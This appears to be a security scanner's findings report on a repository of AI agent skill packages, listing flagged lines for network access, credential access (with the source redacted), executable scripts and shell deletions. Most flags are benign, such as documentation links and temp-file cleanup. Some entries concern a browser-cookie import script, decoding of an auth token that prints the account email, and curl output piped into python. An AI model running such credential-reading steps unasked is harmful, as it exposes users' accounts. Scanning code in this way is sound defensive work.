  • Network accessline 235
    - Named triage-role patterns from adjacent domains — Red/Blue/Purple team in security   ([Praetorian, *Red Team vs. Blue Team vs. Purple Team*](https://www.praetorian.com/security-101/red-team-vs-blue-team-vs-purple-team/)),   and Builder/C
  • Network accessline 236
    ([Praetorian, *Red Team vs. Blue Team vs. Purple Team*](https://www.praetorian.com/security-101/red-team-vs-blue-team-vs-purple-team/)),
  • Network accessline 237
    and Builder/Critic/Moderator or Maker/Checker/Arbiter in adversarial code review   ([ASDLC.io, *Adversarial Code Review*](https://asdlc.io/patterns/adversarial-code-review/);   [Augment Code's guide](https://www.augmentcode.com/guides/adver
  • Network accessline 238
    ([ASDLC.io, *Adversarial Code Review*](https://asdlc.io/patterns/adversarial-code-review/);
  • Network accessline 239
    [Augment Code's guide](https://www.augmentcode.com/guides/adversarial-code-review), which
  • Network accessline 246
    disagree" precedent: "a finding should not be closed as a false positive simply because   someone disagrees with it" ([Invicti, *False Positive Triage   Checklist*](https://www.invicti.com/blog/web-security/false-positive-triage-checklist);
  • Network accessline 247
    someone disagrees with it" ([Invicti, *False Positive Triage   Checklist*](https://www.invicti.com/blog/web-security/false-positive-triage-checklist);   [Astra Security's triage guide](https://www.getastra.com/blog/dast/false-positive-triag
  • Network accessline 248
    Checklist*](https://www.invicti.com/blog/web-security/false-positive-triage-checklist);
  • Network accessline 249
    [Astra Security's triage guide](https://www.getastra.com/blog/dast/false-positive-triage/)) —
  • Network accessline 251
    - A real two/three-stage acceptance precedent where no single layer has final say over its own   findings: Stribog, [*Catalogue Audit: 49 Articles, 342   Defects*](https://stribog.com/blog/catalogue-audit-49-articles-342-defects-what-we-fou
  • Network accessline 252
    findings: Stribog, [*Catalogue Audit: 49 Articles, 342   Defects*](https://stribog.com/blog/catalogue-audit-49-articles-342-defects-what-we-found) —   an independent third pass overrode the second pass's severity 13 times and reframed 177 o
  • Network accessline 253
    Defects*](https://stribog.com/blog/catalogue-audit-49-articles-342-defects-what-we-found) —

report-with-html/references/citation-source-preview.md

  • Network accessline 80
    [WCAG 2.2 SC 1.4.13](https://www.w3.org/WAI/WCAG22/Understanding/content-on-hover-or-focus.html)
  • Network accessline 81
    explains dismissible, hoverable and persistent additional content. [APG's tooltip pattern](https://www.w3.org/WAI/ARIA/apg/patterns/tooltip/) describes focus remaining on the trigger, Escape and `aria-describedby`; that
  • Network accessline 82
    [APG's tooltip pattern](https://www.w3.org/WAI/ARIA/apg/patterns/tooltip/)
  • Network accessline 83
    describes focus remaining on the trigger, Escape and `aria-describedby`; that page explicitly remains work in progress without task-force consensus. [APG's modal-dialog pattern](https://www.w3.org/WAI/ARIA/apg/patterns/dialog-modal/)
  • Network accessline 84
    page explicitly remains work in progress without task-force consensus. [APG's modal-dialog pattern](https://www.w3.org/WAI/ARIA/apg/patterns/dialog-modal/) describes keyboard containment and focus return for actual modals.
  • Network accessline 85
    [APG's modal-dialog pattern](https://www.w3.org/WAI/ARIA/apg/patterns/dialog-modal/)
  • Network accessline 86
    describes keyboard containment and focus return for actual modals. [MediaWiki Reference Previews](https://www.mediawiki.org/wiki/Help:Reference_Previews) provides a footnote-preview usage example. Its reference-list navigation and
  • Network accessline 87
    [MediaWiki Reference Previews](https://www.mediawiki.org/wiki/Help:Reference_Previews)

report-with-html/references/interactive-analysis.md

  • Network accessline 151
    Use [ZCode's UI Plugin guide, pinned revision](https://github.com/zai-org/ZCode/blob/0a1fc56d279fd1001f78387bd81aec1c26767411/UI_PLUGIN.md)

report-with-html/references/visual-evidence.md

  • Network accessline 62
    - 用 `figure`/`figcaption` 关联图与说明;给信息图有效的文本替代。   复杂关系另配邻近的可读说明,覆盖图传达的关键关系;不能只写“架构图”当全部说明。   实现依据见 [W3C 图片替代文本决策树](https://www.w3.org/WAI/tutorials/images/decision-tree/)
  • Network accessline 63
    复杂关系另配邻近的可读说明,覆盖图传达的关键关系;不能只写“架构图”当全部说明。   实现依据见 [W3C 图片替代文本决策树](https://www.w3.org/WAI/tutorials/images/decision-tree/)   与 [复杂图片说明](https://www.w3.org/WAI/tutorials/images/complex/)。
  • Network accessline 64
    实现依据见 [W3C 图片替代文本决策树](https://www.w3.org/WAI/tutorials/images/decision-tree/)
  • Network accessline 65
    与 [复杂图片说明](https://www.w3.org/WAI/tutorials/images/complex/)。

report-with-html/scripts/crop_segments.py

  • Executable scriptline 1
    #!/usr/bin/env -S uv run --script

report-with-html/scripts/delivery_gate.py

  • Executable scriptline 1
    #!/usr/bin/env -S uv run --script
  • Network accessline 30
    就是 Placeholdifier 的 headless 版:之所以不直接用 Polypane,是它是交互式 GUI 浏览器,        产不出 agent 循环里能被 Read 的 PNG 产物。        https://polypane.app/blog/debug-your-visual-hierarchy-with-the-squint-test/
  • Network accessline 31
    产不出 agent 循环里能被 Read 的 PNG 产物。        https://polypane.app/blog/debug-your-visual-hierarchy-with-the-squint-test/        https://www.nngroup.com/videos/squint-test/
  • Network accessline 32
    https://polypane.app/blog/debug-your-visual-hierarchy-with-the-squint-test/
  • Network accessline 33
    https://www.nngroup.com/videos/squint-test/
  • Network accessline 175
    #   html5lib 实现 WHATWG 解析算法(与浏览器同一套),拿到的是真实 DOM 形状。 #   慢 20 倍在这里无所谓:一次解析一个文件,旁边还跑着几秒的 Chrome 渲染。 #   https://html5lib.readthedocs.io/
  • Network accessline 177
    #   https://html5lib.readthedocs.io/

report-with-html/scripts/reconcile_content_diff.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 248
    [Credential-related source omitted]

report-with-html/scripts/render_report.sh

  • Executable scriptline 1
    #!/usr/bin/env bash
  • Dangerous shell operationline 33
    rm -f -- "$SHOT_TMP"
  • Dangerous shell operationline 36
    rm -f -- "$SHOT_TMP_DIR/chrome.log"
  • Dangerous shell operationline 40
    rm -f -- "$D2_TMP_DIR/diagram.svg"
  • Dangerous shell operationline 267
    rm -f -- "$chrome_log"
  • Dangerous shell operationline 272
    rm -f -- "$chrome_log"

report-with-html/scripts/test_reconcile_content_diff.py

  • Executable scriptline 1
    Executable file
  • Access to secretsline 47
    [Credential-related source omitted]
  • Access to secretsline 52
    [Credential-related source omitted]
  • Access to secretsline 53
    [Credential-related source omitted]
  • Access to secretsline 54
    [Credential-related source omitted]
  • Access to secretsline 67
    [Credential-related source omitted]
  • Access to secretsline 73
    [Credential-related source omitted]
  • Access to secretsline 175
    [Credential-related source omitted]

scrapling-skill/SKILL.md

  • Network accessline 84
    scrapling extract get 'https://example.com' page.html
  • Network accessline 90
    scrapling extract get 'https://example.com' article.md -s 'main'
  • Network accessline 96
    scrapling extract fetch 'https://example.com' page.html --timeout 20000
  • Network accessline 104
    scrapling extract get 'https://mp.weixin.qq.com/s/ARTICLE_ID?scene=1' article.md -s '#js_content'
  • Network accessline 158
    python3 "$SCRAPLING_SKILL_DIR/scripts/diagnose_scrapling.py" --url 'https://example.com'
  • Network accessline 164
    python3 "$SCRAPLING_SKILL_DIR/scripts/diagnose_scrapling.py" \   --url 'https://mp.weixin.qq.com/s/ARTICLE_ID?scene=1' \
  • Network accessline 165
    --url 'https://mp.weixin.qq.com/s/ARTICLE_ID?scene=1' \
  • Network accessline 173
    python3 "$SCRAPLING_SKILL_DIR/scripts/diagnose_scrapling.py" \   --url 'https://example.com' \
  • Network accessline 174
    --url 'https://example.com' \

scrapling-skill/references/troubleshooting.md

  • Network accessline 140
    scrapling extract get 'https://mp.weixin.qq.com/s/ARTICLE_ID?scene=1' article.md -s '#js_content'
  • Network accessline 162
    python3 "$SCRAPLING_SKILL_DIR/scripts/diagnose_scrapling.py" --url 'https://example.com'
  • Network accessline 168
    python3 "$SCRAPLING_SKILL_DIR/scripts/diagnose_scrapling.py" \   --url 'https://mp.weixin.qq.com/s/ARTICLE_ID?scene=1' \
  • Network accessline 169
    --url 'https://mp.weixin.qq.com/s/ARTICLE_ID?scene=1' \
  • Network accessline 176
    python3 "$SCRAPLING_SKILL_DIR/scripts/diagnose_scrapling.py" \   --url 'https://example.com' \
  • Network accessline 177
    --url 'https://example.com' \

scrapling-skill/scripts/diagnose_scrapling.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 23
    [Credential-related source omitted]
  • Access to secretsline 24
    [Credential-related source omitted]
  • Access to secretsline 59
    [Credential-related source omitted]
  • Access to secretsline 64
    [Credential-related source omitted]

scrapling-skill/tests/test_diagnose_scrapling.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 43
    [Credential-related source omitted]
  • Access to secretsline 51
    [Credential-related source omitted]
  • Access to secretsline 109
    [Credential-related source omitted]
  • Access to secretsline 137
    [Credential-related source omitted]
  • Access to secretsline 158
    [Credential-related source omitted]
  • Access to secretsline 214
    [Credential-related source omitted]
  • Network accessline 303
    def invoke(self, flags, runner):         args = DIAGNOSE.build_parser().parse_args(["--url", "http://127.0.0.1/fixture", *flags])
  • Network accessline 304
    args = DIAGNOSE.build_parser().parse_args(["--url", "http://127.0.0.1/fixture", *flags])

setup-notifications-via-wecom/SKILL.md

  • Network accessline 48
    https://qyapi.weixin.qq.com/cgi-bin/webhook/send?key=YOUR_KEY
  • Network accessline 53
    mkdir -p ~/.config/setup-notifications-via-wecom    echo '{"webhook_url": "https://qyapi.weixin.qq.com/cgi-bin/webhook/send?key=YOUR_KEY"}' \
  • Network accessline 54
    echo '{"webhook_url": "https://qyapi.weixin.qq.com/cgi-bin/webhook/send?key=YOUR_KEY"}' \
  • Network accessline 230
    curl -s -X POST 'https://qyapi.weixin.qq.com/cgi-bin/webhook/send?key=YOUR_KEY' \
  • Network accessline 290
    ### Message not received, but curl returned 200

setup-notifications-via-wecom/references/sls-recurring-notifications.md

  • Network accessline 30
    SLS `alert.fire_results` returns at most 100 rows. It truncates a field over 1 KB or the result variable over 2 KB; raw query results have the same byte limits. See [SLS template variables](https://help.aliyun.com/en/sls/variables-in-new-al
  • Network accessline 32
    See [SLS template variables](https://help.aliyun.com/en/sls/variables-in-new-alert-templates).
  • Network accessline 59
    Read [SLS template functions](https://www.alibabacloud.com/help/en/sls/built-in-functions-in-alert-templates)

setup-notifications-via-wecom/scripts/send_wecom.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 12
    ~/.config/setup-notifications-via-wecom/config.json     {       "webhook_url": "https://qyapi.weixin.qq.com/cgi-bin/webhook/send?key=...",
  • Network accessline 13
    {       "webhook_url": "https://qyapi.weixin.qq.com/cgi-bin/webhook/send?key=...",       "recipient_scope": "self|others",
  • Network accessline 14
    "webhook_url": "https://qyapi.weixin.qq.com/cgi-bin/webhook/send?key=...",
  • Network accessline 59
    )         print(             f'  echo \'{{"webhook_url": "https://qyapi.weixin.qq.com/cgi-bin/webhook/send?key=YOUR_KEY"}}\' '
  • Network accessline 60
    print(             f'  echo \'{{"webhook_url": "https://qyapi.weixin.qq.com/cgi-bin/webhook/send?key=YOUR_KEY"}}\' '             f'> "{CONFIG_PATH}"',
  • Network accessline 61
    f'  echo \'{{"webhook_url": "https://qyapi.weixin.qq.com/cgi-bin/webhook/send?key=YOUR_KEY"}}\' '
  • Network accessline 184
    request = urllib.request.Request(
  • Network accessline 192
    for attempt in range(1, max_attempts + 1):         try:             with urllib.request.urlopen(request, timeout=30) as response:
  • Network accessline 193
    try:             with urllib.request.urlopen(request, timeout=30) as response:                 body = response.read().decode("utf-8")
  • Network accessline 194
    with urllib.request.urlopen(request, timeout=30) as response:

setup-notifications-via-wecom/scripts/set_recipient.py

  • Executable scriptline 1
    #!/usr/bin/env python3

setup-notifications-via-wecom/tests/test_network_policy.py

  • Executable scriptline 1
    Executable file
  • Network accessline 13
    class NetworkPolicyTest(unittest.TestCase):     def run_sender(self, response):         config = {"webhook_url": "https://example.invalid/bot", "recipient_scope": "self", "recipient_label": "test"}
  • Network accessline 14
    def run_sender(self, response):         config = {"webhook_url": "https://example.invalid/bot", "recipient_scope": "self", "recipient_label": "test"}         with mock.patch.object(sender, "load_config", return_value=config), mock.patch.obj
  • Network accessline 15
    config = {"webhook_url": "https://example.invalid/bot", "recipient_scope": "self", "recipient_label": "test"}
  • Network accessline 20
    def test_main_preserves_required_proxy_and_no_proxy(self):         route = {"https_proxy": "http://127.0.0.1:1082", "HTTP_PROXY": "http://127.0.0.1:1082", "no_proxy": "localhost"}
  • Network accessline 21
    route = {"https_proxy": "http://127.0.0.1:1082", "HTTP_PROXY": "http://127.0.0.1:1082", "no_proxy": "localhost"}
  • Access to secretsline 22
    [Credential-related source omitted]
  • Access to secretsline 24
    [Credential-related source omitted]
  • Access to secretsline 27
    [Credential-related source omitted]
  • Access to secretsline 29
    [Credential-related source omitted]
  • Network accessline 36
    def test_network_failure_does_not_change_route(self):         route = {"https_proxy": "http://127.0.0.1:1082"}         with mock.patch.dict(os.environ, route, clear=True), mock.patch.object(sender.urllib.request, "urlopen", side_effect=send
  • Network accessline 37
    route = {"https_proxy": "http://127.0.0.1:1082"}         with mock.patch.dict(os.environ, route, clear=True), mock.patch.object(sender.urllib.request, "urlopen", side_effect=sender.urllib.error.URLError("timeout")) as opened:             wi
  • Network accessline 38
    [Credential-related source omitted]
  • Access to secretsline 38
    [Credential-related source omitted]
  • Network accessline 39
    with self.assertRaises(RuntimeError):                 sender.send_message("https://example.invalid/bot", "test", max_attempts=1)             opened.assert_called_once()
  • Network accessline 40
    sender.send_message("https://example.invalid/bot", "test", max_attempts=1)
  • Access to secretsline 42
    [Credential-related source omitted]

setup-notifications-via-wecom/tests/test_recipient_config.py

  • Executable scriptline 1
    Executable file
  • Network accessline 29
    sender_path = (ROOT / "scripts" / "send_wecom.py").resolve()         return {             "webhook_url": "https://example.invalid/hook",
  • Network accessline 30
    return {             "webhook_url": "https://example.invalid/hook",             "recipient_scope": scope,
  • Network accessline 31
    "webhook_url": "https://example.invalid/hook",
  • Network accessline 39
    with tempfile.TemporaryDirectory(prefix="tinkle_wecom_") as tmp:             path = Path(tmp) / "config.json"             path.write_text(json.dumps({"webhook_url": "https://example.invalid/hook"}))
  • Network accessline 40
    path = Path(tmp) / "config.json"             path.write_text(json.dumps({"webhook_url": "https://example.invalid/hook"}))             path.chmod(0o600)
  • Network accessline 41
    path.write_text(json.dumps({"webhook_url": "https://example.invalid/hook"}))
  • Network accessline 53
    )             config = json.loads(path.read_text(encoding="utf-8"))             self.assertEqual(config["webhook_url"], "https://example.invalid/hook")
  • Network accessline 54
    config = json.loads(path.read_text(encoding="utf-8"))             self.assertEqual(config["webhook_url"], "https://example.invalid/hook")             self.assertEqual(config["recipient_scope"], "self")
  • Network accessline 55
    self.assertEqual(config["webhook_url"], "https://example.invalid/hook")
  • Network accessline 66
    with tempfile.TemporaryDirectory(prefix="tinkle_wecom_") as tmp:             path = Path(tmp) / "config.json"             path.write_text(json.dumps({"webhook_url": "https://example.invalid/hook"}))
  • Network accessline 67
    path = Path(tmp) / "config.json"             path.write_text(json.dumps({"webhook_url": "https://example.invalid/hook"}))             with mock.patch.object(SENDER, "CONFIG_PATH", path):
  • Network accessline 68
    path.write_text(json.dumps({"webhook_url": "https://example.invalid/hook"}))

skill-evolver/SKILL.md

  • Network accessline 163
    our private repositories, credentials or local configuration. Do not automatically install/clone an owner or override a host's disabled-Skill policy. For a public owner not installed, use the [public catalog and installation guide](https://
  • Network accessline 164
    install/clone an owner or override a host's disabled-Skill policy. For a public owner not installed, use the [public catalog and installation guide](https://github.com/daymade/claude-code-skills/blob/main/README.md) to identify its actual p
  • Network accessline 165
    not installed, use the [public catalog and installation guide](https://github.com/daymade/claude-code-skills/blob/main/README.md)

terraform-skill/SKILL.md

  • Dangerous shell operationline 139
    inline = ["tar xzf /tmp/src-${self.id}.tar.gz -C /data/ && rm -f /tmp/src-${self.id}.tar.gz"]
  • Access to secretsline 251
    [Credential-related source omitted]
  • Access to secretsline 252
    [Credential-related source omitted]
  • Access to secretsline 255
    [Credential-related source omitted]
  • Network accessline 265
    [Credential-related source omitted]
  • Access to secretsline 265
    [Credential-related source omitted]
  • Access to secretsline 266
    [Credential-related source omitted]
  • Network accessline 271
    dashboard/API flow and grant only the zones/operations the provider needs. Follow the official creation contract rather than copying permission-group IDs that may drift: <https://developers.cloudflare.com/fundamentals/api/get-started/create
  • Network accessline 273
    <https://developers.cloudflare.com/fundamentals/api/get-started/create-token/>.
  • Access to secretsline 282
    [Credential-related source omitted]
  • Access to secretsline 285
    [Credential-related source omitted]
  • Network accessline 290
    # WRONG - APP_URL=https://example.com
  • Network accessline 291
    - APP_URL=https://example.com
  • Access to secretsline 301
    [Credential-related source omitted]

terraform-skill/references/multi-env-isolation.md

  • Network accessline 43
    Use this check when a canonical wrapper reuses initialized Terraform directories to speed up `output` or other state reads. [Terraform's working directory](https://developer.hashicorp.com/terraform/cli/init) retains backend configuration an

terraform-skill/references/pre-deploy-validation.md

  • Access to secretsline 57
    [Credential-related source omitted]
  • Access to secretsline 58
    [Credential-related source omitted]
  • Access to secretsline 177
    [Credential-related source omitted]
  • Access to secretsline 178
    [Credential-related source omitted]
  • Access to secretsline 181
    [Credential-related source omitted]
  • Access to secretsline 182
    [Credential-related source omitted]
  • Access to secretsline 185
    [Credential-related source omitted]
  • Access to secretsline 188
    [Credential-related source omitted]
  • Access to secretsline 190
    [Credential-related source omitted]
  • Access to secretsline 193
    [Credential-related source omitted]
  • Access to secretsline 196
    [Credential-related source omitted]
  • Access to secretsline 199
    [Credential-related source omitted]
  • Access to secretsline 200
    [Credential-related source omitted]
  • Access to secretsline 202
    [Credential-related source omitted]
  • Network accessline 333
    - Alibaba Cloud: SLS evaluate-expression operators and evaluation behavior:   <https://www.alibabacloud.com/help/en/sls/syntax-of-evaluate-expressions>
  • Network accessline 334
    <https://www.alibabacloud.com/help/en/sls/syntax-of-evaluate-expressions>
  • Network accessline 336
    - HashiCorp: provisioners are a last resort because their behavior is not predictably modeled:   <https://developer.hashicorp.com/terraform/language/provisioners>
  • Network accessline 337
    <https://developer.hashicorp.com/terraform/language/provisioners>
  • Network accessline 338
    - HashiCorp: saved-plan apply executes the reviewed plan without another approval prompt:   <https://developer.hashicorp.com/terraform/cli/commands/apply> - HashiCorp: validation, preconditions, postconditions, and non-blocking checks run a
  • Network accessline 339
    <https://developer.hashicorp.com/terraform/cli/commands/apply>
  • Network accessline 340
    - HashiCorp: validation, preconditions, postconditions, and non-blocking checks run at different phases:   <https://developer.hashicorp.com/terraform/language/validate> - Docker: Compose interpolation precedence and effective environment:
  • Network accessline 341
    <https://developer.hashicorp.com/terraform/language/validate>
  • Network accessline 342
    - Docker: Compose interpolation precedence and effective environment:   <https://docs.docker.com/compose/how-tos/environment-variables/variable-interpolation/> - Docker: `docker compose config` renders the actual engine model:
  • Network accessline 343
    <https://docs.docker.com/compose/how-tos/environment-variables/variable-interpolation/>
  • Network accessline 344
    - Docker: `docker compose config` renders the actual engine model:   <https://docs.docker.com/reference/cli/docker/compose/config/> - Caddy: `caddy adapt --validate` is stronger than adaptation alone:
  • Network accessline 345
    <https://docs.docker.com/reference/cli/docker/compose/config/>
  • Network accessline 347
    <https://caddyserver.com/docs/command-line#caddy-adapt>

terraform-skill/references/zero-to-deploy-checklist.md

  • Network accessline 9
    - [ ] **Mount data disk**: Format if new (`blkid` check), mount to `/data`, add to fstab - [ ] **Create service directories**: `mkdir -p /data/{service1,service2,...}` — file provisioners fail if target dir doesn't exist - [ ] **Install Doc
  • Network accessline 10
    - [ ] **Create service directories**: `mkdir -p /data/{service1,service2,...}` — file provisioners fail if target dir doesn't exist - [ ] **Install Docker + Compose**: Curl installer, enable systemd service - [ ] **Configure swap**: `falloc
  • Network accessline 11
    - [ ] **Install Docker + Compose**: Curl installer, enable systemd service
  • Access to secretsline 30
    [Credential-related source omitted]
  • Access to secretsline 90
    [Credential-related source omitted]
  • Access to secretsline 94
    [Credential-related source omitted]
  • Access to secretsline 95
    [Credential-related source omitted]
  • Access to secretsline 96
    [Credential-related source omitted]
  • Access to secretsline 97
    [Credential-related source omitted]
  • Access to secretsline 135
    [Credential-related source omitted]
  • Network accessline 141
    | Variable | Production | Staging | |---|---|---| | `FRONTEND_URL` | `https://myapp.com` | `https://staging.myapp.com` |
  • Network accessline 142
    |---|---|---| | `FRONTEND_URL` | `https://myapp.com` | `https://staging.myapp.com` | | `CORS_ORIGIN` | `https://myapp.com` | `https://staging.myapp.com` |
  • Network accessline 143
    | `FRONTEND_URL` | `https://myapp.com` | `https://staging.myapp.com` |
  • Network accessline 144
    | `CORS_ORIGIN` | `https://myapp.com` | `https://staging.myapp.com` |
  • Network accessline 145
    | `NEW_API_URL` | `http://api-container:3000` | Same (internal Docker network) |
  • Access to secretsline 157
    [Credential-related source omitted]

terraform-skill/tests/check-compose-precedence.sh

  • Executable scriptline 1
    #!/usr/bin/env bash
  • Dangerous shell operationline 10
    trap 'rm -rf "$tmp"' EXIT
  • Access to secretsline 115
    [Credential-related source omitted]

tibo-reset-codex/SKILL.md

  • Access to secretsline 138
    [Credential-related source omitted]
  • Access to secretsline 142
    [Credential-related source omitted]
  • Dangerous shell operationline 346
    curl -s -m 15 "https://codex-reset.com/api/timeline" | python3 -c "
  • Network accessline 346
    curl -s -m 15 "https://codex-reset.com/api/timeline" | python3 -c "
  • Network accessline 364
    **摘要截断也会藏住预告**:2026-09-08 实测最新条目的 `summary` 只截到开头玩笑, `official_window=null`、`announcement_state=none`、核验标签为 pending; [原帖全文](https://x.com/thsottiaux/status/2097043464538264003) 却明确预告所有付费订阅的全局重置,
  • Network accessline 365
    `official_window=null`、`announcement_state=none`、核验标签为 pending; [原帖全文](https://x.com/thsottiaux/status/2097043464538264003) 却明确预告所有付费订阅的全局重置, 时间为发帖当日太平洋 18:00 左右。先读全文再判断,不能按索引字段宣布“无新预告”。
  • Network accessline 366
    [原帖全文](https://x.com/thsottiaux/status/2097043464538264003) 却明确预告所有付费订阅的全局重置,
  • Dangerous shell operationline 385
    curl -sS --max-time 20 "https://api.fxtwitter.com/<user>/status/<status-id>"    | python3 -c "import json,sys; t=json.load(sys.stdin)['tweet']; q=t.get('quote'); print(t['created_at']); print('reply_to:', t.get('replying_to'), t.get('replyi
  • Network accessline 385
    curl -sS --max-time 20 "https://api.fxtwitter.com/<user>/status/<status-id>" \
  • Network accessline 413
    - **有界 reply 发现路径**(2026-09-23 已登录 X 原站实测能看到一条主帖入口遗漏的旧回复):   1. 先固定起点:上次**可靠** reply 检查的 UTC;没有就用本任务窗口或当前未决承诺的起点。      打开 `https://x.com/thsottiaux/with_replies`,记录本轮 URL、起点与开始时间。
  • Network accessline 414
    1. 先固定起点:上次**可靠** reply 检查的 UTC;没有就用本任务窗口或当前未决承诺的起点。      打开 `https://x.com/thsottiaux/with_replies`,记录本轮 URL、起点与开始时间。   2. 只记录页面实际显示、作者为 Tibo 的条目:逐条保存 status ID 和 UTC,连续向旧滚动,直到
  • Network accessline 415
    打开 `https://x.com/thsottiaux/with_replies`,记录本轮 URL、起点与开始时间。
  • Network accessline 482
    # 重试是必须的,不是保险:不带重试的裸命令实测会间歇吐 JSONDecodeError 而不是「站点挂了」 for i in 1 2 3; do   o=$(curl -s -m 20 -A "Mozilla/5.0" "https://status.openai.com/api/v2/summary.json")
  • Network accessline 483
    for i in 1 2 3; do   o=$(curl -s -m 20 -A "Mozilla/5.0" "https://status.openai.com/api/v2/summary.json")   if printf '%s' "$o" | head -c1 | grep -q '{'; then
  • Network accessline 484
    o=$(curl -s -m 20 -A "Mozilla/5.0" "https://status.openai.com/api/v2/summary.json")
  • Network accessline 515
    #   [静默型] 名字或正文含 usage limit / unexpected reset / billed / quota(不依赖 Codex 命名) for i in 1 2 3; do   o=$(curl -s -m 20 -A "Mozilla/5.0" "https://status.openai.com/api/v2/incidents.json")
  • Network accessline 516
    for i in 1 2 3; do   o=$(curl -s -m 20 -A "Mozilla/5.0" "https://status.openai.com/api/v2/incidents.json")   if printf '%s' "$o" | head -c1 | grep -q '{'; then
  • Network accessline 517
    o=$(curl -s -m 20 -A "Mozilla/5.0" "https://status.openai.com/api/v2/incidents.json")
  • Network accessline 545
    # 社区帖子分类器(提取候选与检查时刻,按下文判读)。http!=200 就跳过,不阻塞。 for u in "https://hascodexratelimitreset.today" "https://lidless.app/did-codex-reset-today"; do
  • Network accessline 546
    for u in "https://hascodexratelimitreset.today" "https://lidless.app/did-codex-reset-today"; do   f="/tmp/tibo_c_$(echo "$u"|md5).html"   code=$(curl -sS -m 15 -A "Mozilla/5.0" -o "$f" -w '%{http_code}' -L "$u")
  • Network accessline 547
    f="/tmp/tibo_c_$(echo "$u"|md5).html"   code=$(curl -sS -m 15 -A "Mozilla/5.0" -o "$f" -w '%{http_code}' -L "$u")   [ "$code" = "200" ] || { echo "  $u http=$code 跳过"; continue; }
  • Network accessline 548
    code=$(curl -sS -m 15 -A "Mozilla/5.0" -o "$f" -w '%{http_code}' -L "$u")
  • Network accessline 684
    p=idt.split('.')[1]; p+='='*(-len(p)%4)     pl=json.loads(base64.urlsafe_b64decode(p))     a=pl.get('https://api.openai.com/auth') or {}
  • Network accessline 685
    pl=json.loads(base64.urlsafe_b64decode(p))     a=pl.get('https://api.openai.com/auth') or {}     print('email       :', pl.get('email'))
  • Network accessline 686
    a=pl.get('https://api.openai.com/auth') or {}
  • Network accessline 884
    **循环抓多站时别复用同一个临时文件。** `curl -o /tmp/x.html` 失败(`http_code=000`)时既不

tibo-reset-codex/references/account-usage.md

  • Network accessline 46
    只在进程内应用这些配置,不打印认证内容,也不拿本机或其他节点的代理替代。随后对真实 Usage 端点 `/backend-api/wham/usage` 做最小可证伪探测;只有 consumer 就在本机且使用当前 shell 出口时,才可把 `https://chatgpt.com` 首页当作本机 HTTP 边界探针:
  • Network accessline 48
    `https://chatgpt.com` 首页当作本机 HTTP 边界探针:
  • Network accessline 51
    # 在 actual consumer 节点、沿用其实际 provider 的进程级代理配置后执行: curl -sS -m 8 -o /dev/null -w 'http=%{http_code} elapsed=%{time_total}s\n' \
  • Network accessline 52
    curl -sS -m 8 -o /dev/null -w 'http=%{http_code} elapsed=%{time_total}s\n' \
  • Network accessline 53
    https://chatgpt.com/backend-api/wham/usage # 紧接上一条执行,保留 curl 的传输退出码: printf 'curl_exit=%s\n' "$?"
  • Network accessline 54
    # 紧接上一条执行,保留 curl 的传输退出码:
  • Network accessline 68
    该探针用于选择下一步,不是完整健康检查。`000` 的边界见 [curl 响应码说明](https://curl.se/libcurl/c/CURLINFO_RESPONSE_CODE.html):未收到服务端响应码时为零。
  • Network accessline 69
    [curl 响应码说明](https://curl.se/libcurl/c/CURLINFO_RESPONSE_CODE.html):未收到服务端响应码时为零。
  • Network accessline 323
    查看页面身份后再绑定额度,不能用头像名字或当前 CLI 身份替代网页身份。这些邮箱只用于本次    汇报里说明账号;写台账按 forecast-feedback.md 的隐私契约,以 `account_ref` 指代账号。 2. 打开官方用量页:`https://chatgpt.com/codex/settings/usage`。2026-09-08 实测会跳转到
  • Network accessline 324
    汇报里说明账号;写台账按 forecast-feedback.md 的隐私契约,以 `account_ref` 指代账号。 2. 打开官方用量页:`https://chatgpt.com/codex/settings/usage`。2026-09-08 实测会跳转到    `https://chatgpt.com/codex/cloud/settings/analytics#usage`,页面标题为 `Codex and Work Analytics`。
  • Network accessline 325
    2. 打开官方用量页:`https://chatgpt.com/codex/settings/usage`。2026-09-08 实测会跳转到
  • Network accessline 326
    `https://chatgpt.com/codex/cloud/settings/analytics#usage`,页面标题为 `Codex and Work Analytics`。
  • Access to secretsline 364
    [Credential-related source omitted]
  • Network accessline 377
    指向 playwright 包的绝对路径,不需要手工设置 `NODE_PATH`;加载失败会明确报告依赖路径。 - **`open -na "Google Chrome"` 不继承 macOS 系统代理**。必须显式 `--proxy-server=…`   (本机 `http://127.0.0.1:1082`),否则 chatgpt.com 直连挂起或 403。日常 Chrome 走系统
  • Network accessline 378
    - **`open -na "Google Chrome"` 不继承 macOS 系统代理**。必须显式 `--proxy-server=…`   (本机 `http://127.0.0.1:1082`),否则 chatgpt.com 直连挂起或 403。日常 Chrome 走系统   代理正常,隔离 Chrome 不共享这份设置。
  • Network accessline 379
    (本机 `http://127.0.0.1:1082`),否则 chatgpt.com 直连挂起或 403。日常 Chrome 走系统
  • Network accessline 460
    - [OpenAI:banked resets](https://help.openai.com/en/articles/20001498-how-banked-codex-resets-work)
  • Network accessline 461
    - [OpenAI:account switching](https://help.openai.com/en/articles/20001068)

tibo-reset-codex/references/forecast-feedback.md

  • Network accessline 234
    表示未识别属主,不表示锁已过期。现存 Git index 锁令写入快照返回 `blocked/index_locked`; 台账仍正常追加。不得自动删除锁、终止已有进程、跳过 hook 或修改其基线。 进入 `git-safety-net` 的[本地快照恢复流程](https://github.com/daymade/claude-code-skills/blob/main/git-safety-net/references/recovery_playbook.md#bloc
  • Network accessline 235
    台账仍正常追加。不得自动删除锁、终止已有进程、跳过 hook 或修改其基线。 进入 `git-safety-net` 的[本地快照恢复流程](https://github.com/daymade/claude-code-skills/blob/main/git-safety-net/references/recovery_playbook.md#blocked-local-snapshots): 它维护占用与授权核对、原件和索引保全、隔离索引的原 hook 预检、可恢复的锁隔
  • Network accessline 236
    进入 `git-safety-net` 的[本地快照恢复流程](https://github.com/daymade/claude-code-skills/blob/main/git-safety-net/references/recovery_playbook.md#blocked-local-snapshots):

tibo-reset-codex/references/next-reset-forecast.md

  • Network accessline 135
    采用 [Forecasting: Principles and Practice 的判断预测方法](https://otexts.com/fpp3/judgmental.html):

tibo-reset-codex/scripts/forecast_log.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 1041
    [Credential-related source omitted]

tibo-reset-codex/scripts/import-google-cookies.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 21
    [Credential-related source omitted]
  • Access to secretsline 24
